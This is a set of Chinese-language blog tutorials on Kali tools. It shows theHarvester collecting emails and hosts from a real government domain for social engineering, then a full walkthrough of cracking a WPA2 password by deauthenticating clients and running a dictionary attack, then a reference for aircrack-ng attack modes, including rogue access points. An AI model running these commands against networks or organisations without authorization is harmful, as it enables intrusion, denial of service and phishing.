2014年1月26日 星期日

KALI 裡一支收集email 的好用小工具--theharvester

之前介紹過 maltego--一個社交資訊蒐集工具,可是啟動時會要求輸入驗證碼,而它的驗證碼真是有夠難辨別(功能再強,不能好好使用,也是廢物一個),不想浪費時間「猜」驗證碼,所以又試了其他工具,無意間發現 theharvester ,這是一支 command-line 工具,使用很簡單,底下是最基本的搜尋:
theharvester -d microsoft.com -b google
 -d 是你要搜尋的網域
 -b 是要使用的搜尋引擎
如果不加參數,會秀出程式可用的參數說明(請自行參閱)

底下是以 moj.gov.tw 為例的搜尋結果:
root@kali104:~# theharvester -d moj.gov.tw -b google

[-] Searching in Google:
Searching 0 results...
Searching 100 results...

[+] Emails found:
------------------
y*c*u*@mail.moj.gov.tw
t*h**@mail.moj.gov.tw
t*f*p*@mail.moj.gov.tw
n*3**@mail.moj.gov.tw
c*i*n*@mail.moj.gov.tw
h*t*n*@mail.moj.gov.tw
y*n*y*@mail.moj.gov.tw
p***@mail.moj.gov.tw

[+] Hosts found in search engines:
------------------------------------
163.29.130.130:www.moj.gov.tw
163.29.130.184:pipa.moj.gov.tw
163.29.130.141:www.humanrights.moj.gov.tw
163.29.130.149:eservice.moj.gov.tw
163.29.130.141:www.aac.moj.gov.tw
163.29.130.173:law.moj.gov.tw
117.56.4.8:pdis.moj.gov.tw
163.29.130.188:pfsb.cds.moj.gov.tw
163.29.130.141:www.crt.moj.gov.tw
163.29.130.140:www.tpp.moj.gov.tw
163.29.130.129:mail.moj.gov.tw
163.29.130.151:www.drug.moj.gov.tw
163.29.130.163:mojlaw.moj.gov.tw
163.29.130.139:www.tps.moj.gov.tw
163.29.130.142:tpmr.moj.gov.tw
root@kali104:~#
由上面的結果可以看到  theharvester 可以幫我們找出指定網域裡的 電子郵件(做為社交工程用)及 Web Site

2014年1月11日 星期六

WPA 基地台密碼破解實錄

以前的Wifi AP 採 WEP 通訊加密,只要攔截足夠的封包(一般會借助 aireplay-nt -3 )就能解密,最近的 AP 大都改採 WPA2 ,大家都說 WPA2 比 WEP 更安全,但是如果密碼強度不足(例如使用出廠預設值),環境因素也配合,其實也蠻好破解的。
本篇就是針對採用 WPA2-PSK  AP進行破解的紀錄,看完之後你應該不會再認為 WPA2 很安全。

為了不讓一般人掃描到此 AP,此 AP  已隱藏 SSID,在不知 SSID 下其實透過 airodump-ng 很容就可以找出隱藏的 SSID,此次破解使用到的工具軟體如下:
ifconfig :啟動及查看網卡狀態。
iwconfig :查看無線網卡的狀態及作用模式。
airmon-ng :將無線網卡啟用在監聽模式。
airodump-ng :擷取往來的封包。
aireplay-ng :利用阻斷方式讓 Client重新尋求連線。
aircrack-ng :利用擷取的封包檔進行破解,
由於要使用 arimon-ng ,網卡須具備監聽/注入功能,我使用的是 ARGtek GM5 WLAN 802.11b/g/n USB 網卡 ,這一片網卡在 BackTrack5 或 Kali 上使用都有一點點小問題,就是有時候會不靈光,明明已啟動監聽模,可是卻監聽不到任何資料。
操作步驟如下:
root@kali104:/# lsusb                                                       利用 lsusb 查看 USB 的裝置資訊
Bus 001 Device 002: ID 148f:3070 Ralink Technology, Corp. RT2870/RT3070 Wireless Adapter
Bus 002 Device 002: ID 0e0f:0003 VMware, Inc. Virtual Mouse
Bus 002 Device 003: ID 0e0f:0002 VMware, Inc. Virtual USB Hub

root@kali104:/# ifconfig                                                  USB網卡剛接上時,ifconfig 還看不到
eth0    Link encap:Ethernet  HWaddr 00:0c:29:c8:c6:3f
          inet addr:192.168.206.128  Bcast:192.168.206.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fec8:c63f/64 Scope:Link
         (部分訊息省略~~)
lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
           (部分訊息省略~~)

root@kali104:/# iwconfig                                               利用 iwconfig 則可以看到網卡為 wlan0
wlan0     IEEE 802.11bgn  ESSID:off/any
          Mode:Managed  Access Point: Not-Associated   Tx-Power=0 dBm  p;p;
          Retry  long limit:7   RTS thr:off   Fragment thr:offffff
          Encryption key:offff
          Power Management:onon

root@kali104:/# ifconfig wlan0 up                                利用 ifconfig 啟動 wlan0 網卡
root@kali104:/# ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0c:29:c8:c6:3f
          inet addr:192.168.206.128  Bcast:192.168.206.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fec8:c63f/64 Scope:Link
          (部分訊息省略~~)
lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
           (部分訊息省略~~)
wlan0     Link encap:Ethernet  HWaddr 00:0c:43:a4:33:a1                            <== 此網卡的 BSSID
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

root@kali104:/# airmon-ng start wlan0
Found 1 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e
PID Name
2669 dhclient
Interface Chipset Driver
wlan0 Ralink RT2870/3070 rt2800usb - [phy0]
(monitor mode enabled on mon0)                                       wlan0 已開啟監聽模式,接口名稱為 mon0

root@kali104:/# aireplay-ng -9 mon0
08:27:31  Trying broadcast probe requests...
08:27:33  No Answer...                                                       利用 aireplay-ng 測試,結果收不到訊號
08:27:33  Found 0 APs
前面說過這個 USB 網卡有時會收不到訊號,用 aireplay-ng 測一下就知道了,如果你的網卡可以正常啟用監聽模式,就不會理會下面的處理方法。
決解方式就是啟用 airodump-ng mon0  (會掃描 Channel,但收不到封包),等 Channel 掃描過一輪,然後就直接拔掉 USB 接頭,airodump-ng 的掃描動作會 hung 住,將 hung 住的 Console 關掉,約等三秒鐘,再將 USB 插回,並重新開啟一個新的 Console,再依序執行
ifconfig wlan0 up
airmon-ng start wlan0
root@kali104:/# aireplay-ng -9 mon0                                              重新啟用監聽模式後,再試一次 arieplay-ng
08:32:26  Trying broadcast probe requests...
08:32:26  Injection is working!
08:32:28  Found 5 APs
08:32:28  Trying directed probe requests...
08:32:28  C8:6C:87:2F:C4:7B - channel: 1 - 'CHT1823'
08:32:29  Ping (min/avg/max): 1.933ms/19.430ms/59.587ms Power: -77.47
08:32:29  30/30: 100%
08:32:29  C8:6C:87:12:14:9F - channel: 1 - 'CHT7627'
08:32:29  Ping (min/avg/max): 2.308ms/19.877ms/51.861ms Power: -66.13
08:32:29  30/30: 100%
08:32:29  00:26:5A:18:CE:0B - channel: 1 - 'alps007'
08:32:30  Ping (min/avg/max): 2.911ms/22.709ms/30.617ms Power: -77.67
08:32:30  30/30: 100%
08:32:30  B0:B2:DC:30:D0:B0 - channel: 1 - 'CHT8872'
08:32:34  Ping (min/avg/max): 3.144ms/7.718ms/13.795ms Power: -81.08
08:32:34  13/30:  43%
08:32:34  00:26:5A:18:D0:81 - channel: 1 - 'alps002'
08:32:34  Ping (min/avg/max): 2.663ms/20.470ms/37.405ms Power: -79.93
08:32:34  30/30: 100%
這時候就描到我家附近有五個 AP ! 表示 監聽模式已成功運作! 接下來就可以正常工作了!

root@kali104:/# iwconfig                                                再用 iwconfig 就可以看到 wlan0 及監聽接口 mon0
wlan0     IEEE 802.11bgn  ESSID:off/any
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm
          Retry  long limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:on
mon0      IEEE 802.11bgn  Mode:Monitor  Frequency:2.412 GHz  Tx-Power=20 dBm
          Retry  long limit:7   RTS thr:off   Fragment thr:off
          Power Management:on
(如果要查看附近 AP 的 BSSID (MAC address),可以利用 iwlist 指令)

root@kali104:/# airodump-ng mon0
BSSID                         PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH  ESSID
02:2C:2C:BF:6B:BA  -1       9             0         0   10   11    OPN                            HP43A43B
08:10:77:69:1D:E0    -43      21            30        0    9      54e    WPA2 CCMP  PSK     AP_WPA
C8:6C:87:12:14:9F    -62      10            1          0    1      54e    WPA  CCMP   PSK     CHT7627
00:26:5A:18:D0:82     -77      5              0         0    5      54e.    OPN                             alps001
00:26:5A:18:CE:0B    -78       3             3          0    1      54e.   OPN                             alps0077
C8:6C:87:2F:C4:7B    -78       7             0          0    1      54e    WPA  TKIP     PSK      CHT1823
00:13:46:FF:01:32      -79       7             0          0    6      54 .    OPN                             alps01
00:26:5A:18:D0:94    -80        5             0          0   6      54e.    OPN                             alps004
00:26:5A:18:D0:81    -83        2             0          0   1      54e.    OPN                             alps002
78:44:76:FA:0A:DC   -83        2             0          0   5      54e     WPA2 CCMP   PSK     TOTOLINK N300RA
00:D0:41:D1:8C:06    -84        3             0          0  11     54e     WPA2 CCMP   PSK    Belle
BSSID                         STATION               PWR  Rate    Lost    Frames  Probe
(not associated)          00:21:00:69:39:8B   -20     0 - 1      1        3          AP_WPA      
02:2C:2C:BF:6B:BA  68:B5:99:43:A4:3B  -80     0 - 1     68       9
08:10:77:69:1D:E0    18:00:2D:97:F5:34  -127    0e- 0e   0        4
08:10:77:69:1D:E0    8C:A9:82:1F:C8:18  -127   0e- 0e   0        27  
利用 airodump-ng 我們看到更多的 AP,其中 AP_WPA 是今天示範的對象。

root@kali104:/# airodump-ng -w /tmp/ap_cmj2 -c 9 --bssid 08:10:77:69:1D:E0 mon0
-w /tmp/ap_cmj2      將擷取到的封包寫到檔案裡
-c 9                          指定監聽 Channel 9
--bssid 08:10:77:69:1D:E0 mon0           指定 AP_WPA 的 MAC address

然後開啟另一個Console,要使用 aireplay -0 10 -a 08:10:77:69:1D:E0 ,發送阻斷信號,好讓 Client重新提出連線認證!
root@kali104:/# aireplay-ng -0 10 -a 08:10:77:69:1D:E0 mon0
10:09:07  Waiting for beacon frame (BSSID: 08:10:77:69:1D:E0) on channel 9
NB: this attack is more effective when targeting
a connected wireless client (-c<client's mac>).
10:09:07  Sending DeAuth to broadcast -- BSSID: [08:10:77:69:1D:E0]
                (部分訊息省略~~)
10:09:12  Sending DeAuth to broadcast -- BSSID: [08:10:77:69:1D:E0]

原來的 Console 則繼續擷取封包!
CH  9 ][ Elapsed: 1 min ][ 2007-04-26 17:41 ][ WPA handshake: 00:14:6C:7E:40:80
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
 08:10:77:69:1D:E0  -52 100      379    97030    1   9  54e  WPA2 CCMP   PSK  <length:7>

 BSSID              STATION            PWR   Rate   Lost  Frames  Probes
 08:10:77:69:1D:E0  00:0F:B5:32:31:31  -22   36-24    2     14
 08:10:77:69:1D:E0  00:14:A4:3F:8D:13  -36    0-0     0      4
 08:10:77:69:1D:E0  00:0C:41:52:D1:D1  -42   36-36    0      5
 root@kali104:/#                               按下 Ctrl+C 返回提示號
大約擷取 90000 個封包數即可,此時按下 Ctrl-C ,中止 airodump-ng 的執行,接著用 aircrack-ng 對擷取的封包檔進行破解,記得要佐以密碼檔(很重要!)
root@kali104:/tmp# aircrack-ng -w /usr/share/john/password.lst,/usr/share/metasploit-framework/data/john/wordlists/password.lst ap_cmj2A-*.cap

不到一秒鐘就完成密碼破解,密碼就是「1qaz2wsx3edc4rfv
後記:要能順利破解 WPA 的密鑰,有兩項重要因素:
一、該 AP 要正好有人透過它上網。(不然就抓不到解碼用的封包)
二、字典檔要正好有此 AP 使用的密鑰。

2014年1月10日 星期五

aircrack-ng 無線網路滲透工具家旅簡介

aircrack-ng 是一組無線網路的滲透工具,包含好幾支程式,而其中 airmon-ng 是最基本的一支,只要網卡能開在監聽模式,之後的封包擷才能進行。
要使用 aircrack-ng 工具進行無線攻擊必須先確認您的網卡可以支援監聽(monitor)與注入(injection)模式,aircrack-nt Tools 有幾個重要的工具,簡列如下表:
工具名稱主要功能說明
airmon-ng (參考來源)使用 aircrack-ng tools,開啟監聽模式是基本要件,開啟網卡的監聽介面,aircrack-ng 的其他操作都是藉由「監聽介面」實作

例如:airmon-ng start wlan0  => 開啟 mon0 為監聽介面。

airodump-ng  (參考來源)
從監聽介面(mon0)擷取無線網路封包,以供後續分析,例如供 aircrack-ng 進行連線密碼破解。

例如:airodump-ng -w myfile mon0 
擷取所有通過 mon0 的封包並寫入 myfile 中,以判定要破解的 AP

airodump-ng -w FileName --ivs -c 10 mon0
 將指定的通道之封包寫到 FileName 裡

aireplay-ng (參考來源)
利用封包注入方式加速ARP封包的產生。
例如:aireplay-ng -3 -b AP-MAC -h Client-MAC mon0
AP-MAC:airodump-ng mon0 擷取至之 BSSID
Clent-MAC:airodump-ng mon0 擷取至之 STATION

破解WPAS-PSK 用 -0 模式
例如:aireplay-ng -0 10 -b AP-MAC -h Client-MAC mon0
aircrack-ng   (參考來源)利用 airodump-ng 擷取(但不限)到的封包破解 WEP密碼,

例如:aircrack-ng FileName
破解WPAS-PSK 用 字典檔
aircrack-ng -w 字典檔 FileName

airbase-ng   (參考來源)
透過偽造 AP 方式誘使 Client 誤踏陷阱,
例如:airbase-ng -P -C 30 --essid "linksys" -v
mon0

airdriver-ng   (參考來源)
查看OS中的無線網卡驅動程式,及提供載入與卸載功能
airoscript-ng   (參考來源)提供以文字選單式進行無線破解的整合環境,airoscript-ng -c
airdecap-ng   (參考來源)對已抓取的封包檔(WEP/WPA/WPA2)進行 加/解密,例如:
airdecap-ng -b 00:09:5B:10:BC:5A open-network.cap
airdecloak-ng   (參考來源)從 pcap 檔案移除 wep 遮隱(cloaking)用訊框,有些 WIPS會傳送一些假造的wep訊框用以愚弄 aircrack-ng,此工具就是為濾掉這假的訊框
例: airdecloak-ng --bassid 00:12:BF:12:32:29 FileName
會輸出成 FileNmae-cloaked.XXXX
airgraph-ng   (參考來源)將 airodump-ng 產生的封包檔(.txt 或 .csv 格式)轉換成圖形,可供做報告用
airdgraph-ng -i demo.csv -o demo.png -g CAPR
airolib-nb   (參考來源)aircrack-ng 工具組的DB(SQLite3)管理程式
airodump-ng-oui-update airodump 更新工具

airolib-ng -- 資料庫管理工具

airolib-ng 是 aircrack-ng 的套件中,用於存儲和管理ESSID和密碼列表,計算它們的Pairwise Master Keys(PMKs),並利用它們來破解 WPA/WPA2,此程式利用 SQLite3做為資料庫,
基本語法:airolib <database> <operation> [options]
database :是資料庫的檔案名稱及絕對路徑

可用的指令(operation)
--stats :顯示資料庫資訊
--sql {sql} :執行 SQL 敘述
--clean [all] :清理廢棄的資料,如果加上 'all' 則清理之後同時進行實體檔案壓縮(Compact)
--batch :以批次方式進行 ESSIDs 及 passwords 合併,在執行aircrack-ng 之前或資料庫有加入新資料之後執行本程式
--verify [all] : 驗證一組隨機選取的 PMKs.,如果加上 'all' 則會驗證資料庫中所有 PMKs 資訊
--export cowpatty {essid} {file} : 匯出 coWPAtty 檔案
--import cowpatty {file} :匯入一支 coWPAtty 檔案到資料庫裡,如果資料庫檔不存在,會自動建立
--import {essid | passwd} {file} :將存有  ESSIDs 或 passwords 的文字檔匯到資料庫裡,如果資料庫檔不存在,會自動建立,文字檔裡 ESSID 或  password 必須一行一個。
使用範例
airolib-ng testdb --stats
airolib-ng testdb --sql 'update essid set prio=(select min(prio)-1 from essid) where essid="VeryImportantESSID";'
airolib-ng testdb --sql 'select hex(pmk) from pmk where hex(pmk) like "%DEADBEEF%"'
airolib-ng testdb --clean
airolib-ng testdb --clean all
airolib-ng testdb --batch
airolib-ng testdb --verify
airolib-ng testdb --verify all
airolib-ng testdb --export cowpatty test cowexportoftest
airolib-ng testdb --import essid ssidlist.txt
airolib-ng testdb --import passwd password.lst
airolib-ng testdb --import cowpatty  cowexportoftest

airdecloak-ng -- 移除遮隱訊框的工具

從 pcap 檔案移除 wep 遮隱(cloaking)用訊框,有些 WIPS會傳送一些假造的wep訊框用以愚弄 aircrack-ng,此工具就是為濾掉這假的訊框
基本語法airdecloak-ng [options]

參數說明
-i <input_file>之前擷取封包存檔的檔案路徑(必要)
--bssid <BSSID>指定過濾來源 AP 的 Mac address  (--bssid 
--ssid 二擇一使用)
--ssid <ESSID>指定過濾來源 AP 的 ESSID (代碼) (本項功能尚未實做)
底下參數為選用參數,主要做為過濾用
--filters <filters>指定過濾元素,可用元素如下:(如用多個,用 , 分隔)
signalTry to filter based on signal
duplicate_snRemove all duplicate sequence numbers for both the AP and the client
duplicate_sn_apRemove duplicate sequence number for the AP only
duplicate_sn_clientRemove duplicate sequence number for the client only
consecutive_snFilter based on the fact that IV should be consecutive (only for AP)
duplicate_ivRemove all duplicate IV
signal_dup_consec_snUse signal (if available), duplicate and consecutive sequence number (filtering is much more precise than using all these filters one by one)
--null-packetsAssume that null packets can be cloaked (本項尚未實做).
--disable-base_filterDisable the base filter.
--drop-fragDrop all fragmented packets. In most networks, fragmentation is not needed.

應用範例

airmon-ng start wifi0 6                                                                     開啟監聽模式
tcpdump -n 65535 -i ath0 -w wep_cloaking_full_speed_dl.pcap     擷取網路封包
aircrack-ng wep_cloaking_full_speed_dl.pcap -b 00:12:BF:12:32:29 -K -n 64 -d 1F:1F:1F     嘗試破解 WEP 密碼
airdecloak-ng --bssid 00:12:BF:12:32:29 --filters signal -i wep_cloaking.pcap         移除 cloak訊框
airdecap-ng -w 1F:1F:1F:1F:1F wep_cloaking.pcap                進行封包檔解碼

airdecap-ng -- 封包檔解密器

airdecap-ng 可以對從 WEP/WPA/WPA2 擷取的檔案進行解密作業,結果會輸出到「同名-dec.cap」的新檔中
基本語法airdecap-ng [options] <pcap_file>
選項參數說明
-l不要移除 802.11 header
-bbssid只處理符合指定 MAC address 的 AP 封包
-kpmkWPA/WPA2 Pairwise Master Key in hex
-eessidtarget network ascii identifier
-ppasstarget network WPA/WPA2 passphrase
-wkeytarget network WEP key in hexadecimal
輸入的檔案可以用萬用字元方式指定。

範例
airdecap-ng -b 00:09:5B:10:BC:5A open-network.cap
airdecap-ng -w 11A3E229084349BC25D97E2939 wep.cap
airdecap-ng -e 'the ssid' -p passphrase tkip.cap

airdriver-ng -- 驅動程式查詢工具

airdriver-ng 提供目前安裝在電腦裡的無線網路驅動程式的資訊
基本語法:airdriver-ng [參數 [代號]]

(無參數):顯示核心版號及可用的參數選項
supported : 顯示aircrack-ng tools 支援的驅動程式清單
kernel: 顯示已編譯進系統核心的驅動程式
installed: 顯示已安裝的驅動程式.
loaded: 顯示已載入記憶體中的驅動程式
load <driver_num>: dirver_num 可由 installed 查詢到,將指定的驅動程式 載入記憶體中.
unload <driver_num>: dirver_num 可由 loaded 查詢到,將記憶體中的驅動程式卸載
reload <driver_num>: dirver_num 是被 unload 驅動程式,將已卸載的驅動程式重新加載.
install <driver_num>: dirver_num 可由 supported 查詢到,利用 installs 指定驅動程式到系統並加載到記憶體裡,此功能整合原始碼下載、編譯、安裝、載入,以簡單的步驟確定驅動程式可以支援 Injection 。
removel <driver_num>: 從系統中移除(解除)指定的驅動程式
install_stack <stack_num>: 安裝指定的 stack 到系統中,並加載到記憶體中, <stack_num> 可從  loaded 參數查得
remove_stack <stack_num>: 將指定的 stack 從系統中移除
details <driver_num>: 查看驅動程式的詳細資訊,driver_num 可由參數 installed 查得.
detect : 偵測連接到系統上的網卡資訊
範例:
airdriver-ng supported
airdriver-ng kernel
airdriver-ng installed
airdriver-ng loaded
airdriver-ng load 34 34 由“installed”查得
airdriver-ng unload 34 34 由“loaded”查得
airdriver-ng reload 34 34 由“loaded”查得
airdriver-ng install 34 34 由“supported”查得
>airdriver-ng remove 34 34 由“installed”查得
airdriver-ng install_stack 0 0 由“supported”查得
airdriver-ng remove_stack 0 0 由“installed”查得
airdriver-ng details 34 34 由“installed”查得
airdriver-ng detect

airbase-ng 用法說明

airbase-ng 是仿造一組 AP,例如:實際有一名為  syslink 的 AP ,平常 Client 透過 syslink 上網,則我們也利用 airbase-ng 偽造一個名為 syslink 的 AP ,基於許多 Client 的 Wifi 會在搜尋到曾經連線過的 AP 時,會自動嘗試連線,所以利用 airbase-ng 也會讓 Client 試著從這個假的 AP 進行連線,而我們的假 AP 就可以擷取 Client 端送來的要求驗證資料。
airbase-ng 在進行無線網路滲透有很重要的地位,如果沒有 airbase-ngairodump-ng 可能無法收集到足夠的封包,如果沒有足夠的封包,aircrack-ng 就無用武之地!
使用此方法,如果真正的 AP 也在活動中,彼此可能產生干擾,所以未經授權,不可對現實AP 進行仿造。
airbase-ng 利用偽造 AP 方式可以實現下列攻擊(當然要搭配其他工具啦!)
基本語法airbase-ng <options> <Monitor_Interface>

常用參數:
-a bssid 指定偽造 的 MAC address,如果不指定 bssid,則使用目前的監聽介面(mon0) MAC address
-i iface 指定監聽介面(mon0)
-w WEP_key  指定 WEP 的連線密碼字串
-h MAC  在中間人攻擊模式(man-in-the-middle MITM),指定真實 AP 的 MAC address(見 karmsploit攻擊)
-f {allow | disallow}  預設是 allow,所以 Client 可否存取本偽造 AP 就由 -d / -D 參數指定,如果設為 disallow,則會反向指定 -d / -D 的結果。
-W {0 | 1} 要(1) 或 不要(0)設定 WEP 的信標旗標 (default: auto)
-q  靜音模式,螢幕不顯示訊息
-v 詳細模式,螢幕顯示更詳細資訊
-M 使用  MITM 攻擊模式(目前尚不具備此一功能)
-A  啟用 Ad-Hoc 模式(封包轉送,類似有線的路由器)
-Y {in | out | both}  會建立第二組 AP 接口,提供封包對其他本機的網路介或工具進行轉送或注入的處理
-c channel  指定偽造 AP 使用的 channel
-X 隱藏偽造 AP 的 ESSID(只有預先設定此 ESSID 的Client 才能連線,其它 Client 無法掃描到此 AP
-s 強制要求授權,此時使用 開放驗證的 Client 將不被接受連線。
-S指定 shared key 最低長度(default: 128byte),其值由 16 至 1480 bytes,
-LCaffe-Latte 攻擊模式,請參考 ariplay-ng -6 的攻擊模式,在接收到 Client 封包調整後再回送給 Client ,而讓它吐出更多請求封包,進以破解連線密碼。(參考下一條)
-x nbpps對於 -L 模式,指定回送的速率(每秒之封包數)  (default: 100)
-N Hirte attack (cfrag attack)碎片攻擊模式,利用接收到的 Client 端的 ARP 封包,萃取出 PRGA,再產生成更多對 Client 的請求封包,而讓 Client 再回應更多封包
-y 不回應利用廣播式掃描 AP 的請求(不回應 Client)
-0 傳送信標(beacon)時設定所有 WPA,WEP,open 的標籤(tag),此參數不能和 -z / -Z 合併使用
-z type指定 WPA1 的標籤, 1=WEP40 2=TKIP 3=WRAP 4=CCMP 5=WEP104
-Z type 跟 -z 一樣,但是針對 WPA2
-V type 指定偽造 AP 的編碼(EAPOL)方式  1=MD5 2=SHA1 3=auto
-F prefix將所有收到及傳回的訊框(frame) 寫到指定的檔案( pcap file)
-P回應所有探尋,就算 Client 的探尋有指定 ESSID,亦對其回應
-I interval指定傳送每一個信標 之間的間隔時間(ms)
-C seconds enables beaconing of probed ESSID values (requires -P)

何謂 Beacon Frames
The beacon frame contains the ESSID in case exactly one ESSID is specified, if several are set, the ESSID will be hidden in the beacon frame with a length of 1. If no ESSID is set, the beacon will contain “default” as ESSID, but accept all ESSIDs in association requests.

過濾參數:
-b <MAC>只處理符合此 MAC 的 AP 通訊資料
-B  <file> 同 -b ,但 MAC 清單來自外部檔案
-d <MAC>只處理符合此 MAC 的 Client 通訊資料
-D <file>同 -d ,但 MAC 清單來自外部檔案
-e <ESSID> 只處理符合此 ESSID(代碼) 的 AP 通訊資料
-E <file>同 -e ,但 MAC 清單來自外部檔案

使用例:
協助  airodump-ng  快速取得更多封包
在 Console 1 執行:
airbase-ng -c 9 -e teddy -N -W 1 rausb0
在 Console 2 執行:
airodump-ng -c 9 -d 00:06:62:F8:1E:2C -w cfrag wlan0
利用碎片攻擊以藉以擷取WEP的帳密:
在 Console 1 執行:
airbase-ng -c 9 -e teddy -N -W 1 -A rausb0
在 Console 2 執行:
airodump-ng -c 9 -d 00:06:62:F8:1E:2C -w cfrag wlan0
進行 Caffe Latte 攻擊
在 Console 1 執行:
airbase-ng -c 9 -e teddy -L -W 1 rausb0
在 Console 2 執行:
airodump-ng -c 9 -d 00:06:62:F8:1E:2C -w cfrag wlan0
擷取 Share Key
Console 1 執行:
root@kali104:~#airbase-ng -c 9 -e teddy -s -W 1 wlan0
15:08:31 Created tap interface at0
15:13:38 Got 140 bytes keystream: 00:0F:B5:88:AC:82
15:13:38 SKA from 00:0F:B5:88:AC:82
15:13:38 Client 00:0F:B5:88:AC:82 associated to ESSID: "teddy"
在 Console 2 執行:
airodump-ng -c 9 wlan0
WPA Handshake Capture
airbase-ng -c 9 -e teddy -z 2 -W 1 rausb0
airodump-ng -c 9 -d 00:C0:C6:94:F4:87 -w cfrag wlan0
WPA2 Handshake Capture
airbase-ng -c 9 -e teddy -Z 4 -W 1 rausb0
airodump-ng -c 9 -d 00:C0:C6:94:F4:87 -w cfrag wlan0
利用 airodump-ng 擷取的封包,尚需由 aircrack-ng 進行破解!

aircrack-ng -- 解密工具

利用 aircrack-ng 破解由 airodump-ng 擷取的封包,以取得無線遙鑰,對於 WEP 只要擷取足夠的封包,大多能破解,但對於 WPA就必須搭配密碼字典檔進行暴力破解,如果密碼過於複雜,就不一定能解得多來。
aircrack-ng 破解的封包檔並不限來自 airodump-ng 所產製,也可從其他封包攔截程式(如wireshark)
基本語法: aircrack-ng [options] <.cap / .ivs file(s)>
常用參數:
-a <amode>  暴力破解 (1:WEP, 2:WPA-PSK)
-e <essid>  指定特定的 essid 為目標
-b <bssid>  指定特定的 AP 的 MAC address 為目標
-q  使用安靜模式,即過程不顯示訊息 WEP 的破解參數:
-c  僅搜尋字母((0x20 - 0x7F)
-t  僅搜尋二進制
-h  搜尋數字 (0x30 - 0x39)
-m <maddr>  只對特定的 mac 封包進行分析, -m ff:ff:ff:ff:ff:ff表所有封包
-n <nbits>  指示 WEP Key的長度  64(40bit)/128(104bigt)/152/256/512
-f <fudge>  暴破深度,對於 40bit,預設為 2,104bit 預設 5,可以指定更高的數字,但時間會更久
-k <korek>  korek 有17方法,預設是會嘗試全部使用,可以指定禁用某一種方式 (1 to
17),此參數可以重複指定,如 -k 10 -k 15 -k 16
-K  使用 KoreK 方法破解
-z PTW WEP 破解模式
-l <file>將找到的 key 寫到 file 裡
-M <num>  ivs 的最大使用量,即達到數量還不能破解,就視為無解
-D  WEP decloak模式
-P  PTW 除錯模式   指定字典檔來源
-w <words-path> 字典檔的目錄路徑,如有多重值,用 , 分隔,
例如:-w pass1.txt,pass2.txt,pass3.txt
-r <DBfile>  利用 airolib-ng 產生的資料庫(SQLite)做為字典來源,此方法不能和 -w 合併使用

使用例:
aircrack-ng pack*.ivs
aircrack-ng *.ivs
aircrack-ng -w hex.txt,ascii.txt -a 1 -n 64 -e teddy wep10-01.cap
aircrack-ng -w password.lst *.cap
aircrack-ng -w password.lst wpa.cap wpa2.eapol.cap

字典檔來源:
* Kali 裡可以由:
/usr/share/john/password.lst
/usr/share/metasploit-framework/data/john/wordlists/password.lst
找到兩組預建的密碼字典,除此之外,也可以自己建立個人的字典檔,每一組密碼一行。

aireplay-ng的攻擊模式


aireplay-ng 主要功用是做為訊框(frames)注入,用以產生足夠的封包,以供 aircrack-ng 進行 WEP 及WPA-PSK 破解。
基本語法
  aireplay-ng <options> <Monitor-Interface>
底下是 aireplay-ng十種操作模式:

--deauth count
-0 count
反授權攻擊模式:
對Client發送連線中斷訊息,從而使Client重新發出授權請求,再擷取其請求的封包,而產生有用的arp資訊。
aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 mon0
count 是指執行阻斷的次數,如果設為 0 表循環攻擊,Client 將無法上網。
--fakeauth delay
-1 delay
偽裝請求授權模式:
當對AP進行攻擊,但沒有Client連到AP時,以致沒有封包產生,就會利用此法來讓AP產生封包。(只適用 WEP,不能用於WPA/WPA2)
(一個Console進行 fakeauth 攻擊,另一個console 就可以進行其他監聽或注入)
delay 是指每次重送授權請求的間隔秒數
例:aireplay-ng -1 5 -e ap001 -a 00:26:5A:18:CE:0B -h 00:0C:29::C8:C6:3F mon0
--interactive
-2
互動模式:
具備封包擷取與封包注入功能
擷取:
aireplay-ng -2 -p 0841 -c 00:0C:C6:3F:ff:ff -b 00:26:5A:18:CE:0B -h 00:0C:29::C8:C6:3F mon0

注入:
aireplay-ng -2 -r arpFile -x 1024 -b 00:26:5A:18:CE:0B -h 00:0C:29::C8:C6:3F mon0
--arpreplay
-3
封包重送模式:
擷取封包分析再重發的方式,目的在對AP產生足夠的請求,讓AP吐出更多封包以供 aircrack-ng 分析。
aireplay-ng -3 -b 00:26:5A:18:CE:0B -h 00:0C:29::C8:C6:3F -x 512 mon0
--chopchop
-4
對 WEP 封包進行解密作業(不一定能成功)
aireplay-ng -4 -h 00:09:5B:EC:EE:F2 -b 00:14:6C:7E:40:80 mon0
--fragment
-5
如果成功,可以得到1500字節PRGA(虛擬隨機產生演算法)
aireplay-ng -5 -b 00:14:6C:7E:40:80 -h 00:0F:B5:AB:CB:9D mon0
-6Cafe-latte attack
利用擷取 client 發送的 ARP 封包,調整後再回送給 client 端,進而破解 WEP 的金鑰(只適於 WEP)
aireplay-ng -6 -h 00:09:5B:EC:EE:F2 -b 00:13:10:30:24:9C -D mon0
-7 Client-oriented fragmentation attac
Hirte attack,跟  -6 相同,只是不限於 ARP 封包,也可以利用 IP 封包
aireplay-ng -7 -h 00:09:5B:EC:EE:F2 -D mon0k
-8 WPA 破解:WPA Migration Mode
只用此模式尚無法完成WPA破解,參考詳細步驟
aireplay-ng -8 -b 00:26:0B:2A:BA:40 -h 00:1f:3c:4e:88:46 mon0
--test
-9
單純測試目前有哪些AP,以及注入的成功率
